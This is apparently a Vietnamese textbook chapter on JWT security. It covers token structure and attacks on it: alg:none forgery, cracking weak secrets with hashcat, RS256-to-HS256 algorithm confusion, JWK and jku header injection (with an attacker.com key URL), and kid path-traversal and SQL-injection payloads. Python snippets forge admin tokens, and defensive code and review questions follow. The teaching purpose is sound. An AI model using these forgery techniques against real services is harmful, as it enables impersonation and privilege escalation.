Skip to main content

Chương 8: JWT — JSON Web Token

Khái niệm

JWT (JSON Web Token — Token Web dạng JSON) là chuẩn mở (RFC 7519) để truyền thông tin giữa các bên dưới dạng JSON object được ký số. JWT thường dùng thay thế server-side session để authentication stateless.

Mức độ nguy hiểm: Cao — JWT implementation lỗi cho phép hacker giả mạo identity hoặc leo thang đặc quyền.


Cấu trúc JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEzMzcsInJvbGUiOiJ1c2VyIn0.abc123
│──────────────────────────────────────│ │──────────────────────────────────────│ │─────│
Header Payload Signature

Ba phần, ngăn cách bằng dấu chấm, mỗi phần là Base64URL encoded.

Header:

{
"alg": "HS256",
"typ": "JWT"
}

Payload (Claims):

{
"sub": "1337",
"username": "alice",
"role": "user",
"iat": 1609459200,
"exp": 1609462800
}

Signature:

HMACSHA256(
base64url(header) + "." + base64url(payload),
secret_key
)

Quan trọng: JWT được ký số (signed), không phải mã hóa (encrypted). Header và payload có thể đọc được bởi bất kỳ ai có token. Đừng để sensitive data trong payload trừ khi dùng JWE.


Decode JWT

# Decode nhanh bằng base64
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# Output: {"alg":"HS256","typ":"JWT"}

# Dùng jwt.io (online) hoặc:
pip install PyJWT
python3 -c "import jwt; print(jwt.decode('TOKEN', options={'verify_signature': False}))"

Các lỗ hổng JWT

1. Algorithm: None Attack

Thuật toán none chỉ định "không cần signature". JWT với alg: none không cần ký, bất kỳ payload nào cũng được accept.

# Tạo JWT với alg: none
header = base64url({"alg": "none", "typ": "JWT"})
payload = base64url({"userId": 1, "role": "admin"})
signature = "" # Không có signature

token = f"{header}.{payload}."

Bypass filter:

Nếu server check "alg" != "none" (case-sensitive):
→ Thử: "None", "NONE", "nOnE", "NoNe"
→ Một số libraries accept các biến thể này

Lab PortSwigger: Dùng Burp JWT Editor extension:

  1. Intercept request với JWT
  2. JWT Editor → Edit payload: role=admin
  3. Attack → None signing algorithm
  4. Forward request

2. Weak Secret — Brute Force

HMAC algorithms (HS256/HS384/HS512) dùng symmetric key. Nếu key yếu, có thể brute force.

# Brute force JWT secret bằng hashcat
hashcat -a 0 -m 16500 \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEzMzd9.abc123 \
/usr/share/wordlists/rockyou.txt

# Hoặc dùng jwt-cracker
npm install -g jwt-cracker
jwt-cracker eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.hash "secret"

# Secret phổ biến bị tìm thấy:
# "secret", "password", "key", "jwt_secret", "your-256-bit-secret"

Sau khi có secret, ký lại JWT với bất kỳ payload nào:

import jwt
secret = "secret"
fake_token = jwt.encode(
{"userId": 1, "role": "admin"},
secret,
algorithm="HS256"
)

3. Algorithm Confusion (RS256 → HS256)

Đây là tấn công tinh vi nhất với JWT.

Background:

  • RS256: Dùng private key để ký, public key để verify (asymmetric)
  • HS256: Dùng cùng secret key để ký và verify (symmetric)
Server:
- Tạo token: ký bằng RSA private key (RS256)
- Verify token: dùng RSA public key

Library API:
verify(token, key):
alg = token.header.alg
if alg == "RS256":
verify_rsa(token, key) # key = public key
elif alg == "HS256":
verify_hmac(token, key) # key = secret

Attack:

1. Lấy public key của server (thường exposed tại /jwks.json hoặc /.well-known/jwks.json)
2. Tạo JWT mới với:
- alg: HS256 (thay vì RS256)
- Payload: role=admin
3. Ký JWT bằng public key như thể nó là HMAC secret
4. Server nhận token:
- Thấy alg=HS256
- Verify bằng HS256 với... public key (vì đó là "key" được cấu hình)
- Public key = secret trong HMAC context
→ Verify thành công! Hacker đã forge token
# Algorithm confusion attack
import jwt
from cryptography.hazmat.primitives import serialization

# 1. Get public key từ /jwks.json
public_key = load_public_key_from_jwks()

# 2. Convert sang PEM format
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# 3. Sign với HS256 dùng public key làm secret
forged_token = jwt.encode(
{"userId": 1, "role": "admin"},
public_key_pem, # public key làm HMAC secret!
algorithm="HS256"
)

4. JWK Header Injection

JWT header có thể chứa jwk (JSON Web Key) — key dùng để verify chính token đó.

{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "attacker-key",
"n": "ATTACKER_PUBLIC_KEY_MODULUS"
}
}

Attack:

1. Hacker generate cặp RSA key mới
2. Tạo JWT với:
- Header: jwk = hacker's public key
- Payload: role=admin
- Signed với hacker's private key
3. Server nhận token:
- Đọc jwk từ header
- Verify signature dùng key trong jwk
- Hacker's private key → hacker's public key → verify thành công!

→ Server verify token do hacker tạo mà không biết đây là tấn công

Dùng Burp JWT Editor:

  1. Generate RSA key pair
  2. Attack → Embedded JWK
  3. Modify payload
  4. Sign với private key

5. jku (JWK Set URL) Injection

{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json"
}

Server fetch public key từ URL trong header để verify. Nếu server không validate URL:

1. Hacker host jwks.json trên server của hắn với public key của hắn
2. Tạo JWT với jku trỏ đến server của hắn
3. Server fetch key → verify → thành công!

6. kid (Key ID) Injection

kid parameter chỉ định key nào được dùng để verify. Nếu server dùng kid để lookup file hoặc database:

Path Traversal:

{
"kid": "../../dev/null"
}

Server verify với empty secret → bypass nếu server sign payload với empty secret.

SQL Injection:

{
"kid": "' UNION SELECT 'attacker_secret'-- -"
}

Server query DB với kid → trả về attacker's secret → server verify với attacker's secret → hacker sign với secret đó → thành công.


Cách phát hiện

□ Decode JWT header: alg là gì?
□ Thử alg: none/None/NONE → server có reject không?
□ /jwks.json hoặc /.well-known/jwks.json public key có exposed không?
□ Brute force secret (với HS256)
□ Server có jwks.json endpoint không → algorithm confusion risk
□ kid parameter có validate không?
□ Token không expire (thiếu exp claim)?
□ Sensitive data trong payload (password, PII)?

Phòng chống

# Python với PyJWT — đúng cách

import jwt
from jwt.exceptions import InvalidTokenError

# 1. Luôn specify algorithms rõ ràng
def verify_token(token: str) -> dict:
try:
payload = jwt.decode(
token,
key=settings.JWT_PUBLIC_KEY, # hoặc secret
algorithms=["RS256"], # Whitelist, không cho "none"
options={
"require": ["exp", "iat", "sub"], # Required claims
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except InvalidTokenError as e:
raise AuthenticationError(f"Invalid token: {e}")

# 2. Tạo token an toàn
def create_token(user_id: int) -> str:
payload = {
"sub": str(user_id),
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(hours=1),
"jti": secrets.token_urlsafe(16), # JWT ID để prevent reuse
}
return jwt.encode(payload, settings.JWT_PRIVATE_KEY, algorithm="RS256")

# 3. Token rotation và revocation
class TokenBlacklist:
def __init__(self, redis):
self.redis = redis

def revoke(self, jti: str, exp: int):
ttl = exp - int(time.time())
if ttl > 0:
self.redis.setex(f"revoked:{jti}", ttl, "1")

def is_revoked(self, jti: str) -> bool:
return self.redis.exists(f"revoked:{jti}")

Secret Management:

# JWT secret phải đủ mạnh
# HS256 cần ít nhất 256-bit key
openssl rand -hex 64 # 512-bit hex string

# RS256 cần key pair
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Lưu trong Vault hoặc K8s Secret
kubectl create secret generic jwt-keys \
--from-file=private.pem \
--from-file=public.pem

Góc nhìn DevOps

JWT Validation ở API Gateway:

# Kong Gateway: validate JWT
plugins:
- name: jwt
config:
key_claim_name: kid
claims_to_verify:
- exp
secret_is_base64: false
# Chỉ allow specific algorithms
algorithms:
- RS256

Monitoring JWT anomalies:

# Log và alert khi detect suspicious JWT usage
def log_jwt_validation(token_payload: dict, request):
event = {
"sub": token_payload.get("sub"),
"iat": token_payload.get("iat"),
"exp": token_payload.get("exp"),
"ip": request.remote_addr,
"user_agent": request.user_agent.string
}

# Alert: token dùng sau khi logout (revoked)
if is_revoked(token_payload.get("jti")):
alert("Revoked token usage attempt", event)

# Alert: token từ unexpected IP (nếu có IP binding)
if token_payload.get("ip") != request.remote_addr:
alert("JWT used from different IP", event)

Tóm tắt

  • JWT là signed, không phải encrypted — đừng để secret data trong payload.
  • alg: none attack: disable bằng cách whitelist algorithms.
  • Weak secret: dùng ít nhất 256-bit random secret hoặc RSA 2048+.
  • Algorithm confusion: server phải verify algorithm match expected.
  • JWK/jku injection: không trust key từ token header.
  • kid injection: validate và sanitize kid parameter.
  • Dùng expjti để limit token lifetime và enable revocation.
  • Prefer RS256 (asymmetric) hơn HS256 (symmetric) cho microservices.

Câu hỏi ôn tập

  1. Tại sao JWT được gọi là "signed" chứ không phải "encrypted"? Implication là gì?
  2. Algorithm confusion attack (RS256 → HS256) hoạt động như thế nào?
  3. Làm thế nào để revoke JWT trước khi nó expire tự nhiên?
  4. jku injection khác jwk injection ở điểm nào?
  5. Khi nào nên dùng RS256 thay vì HS256?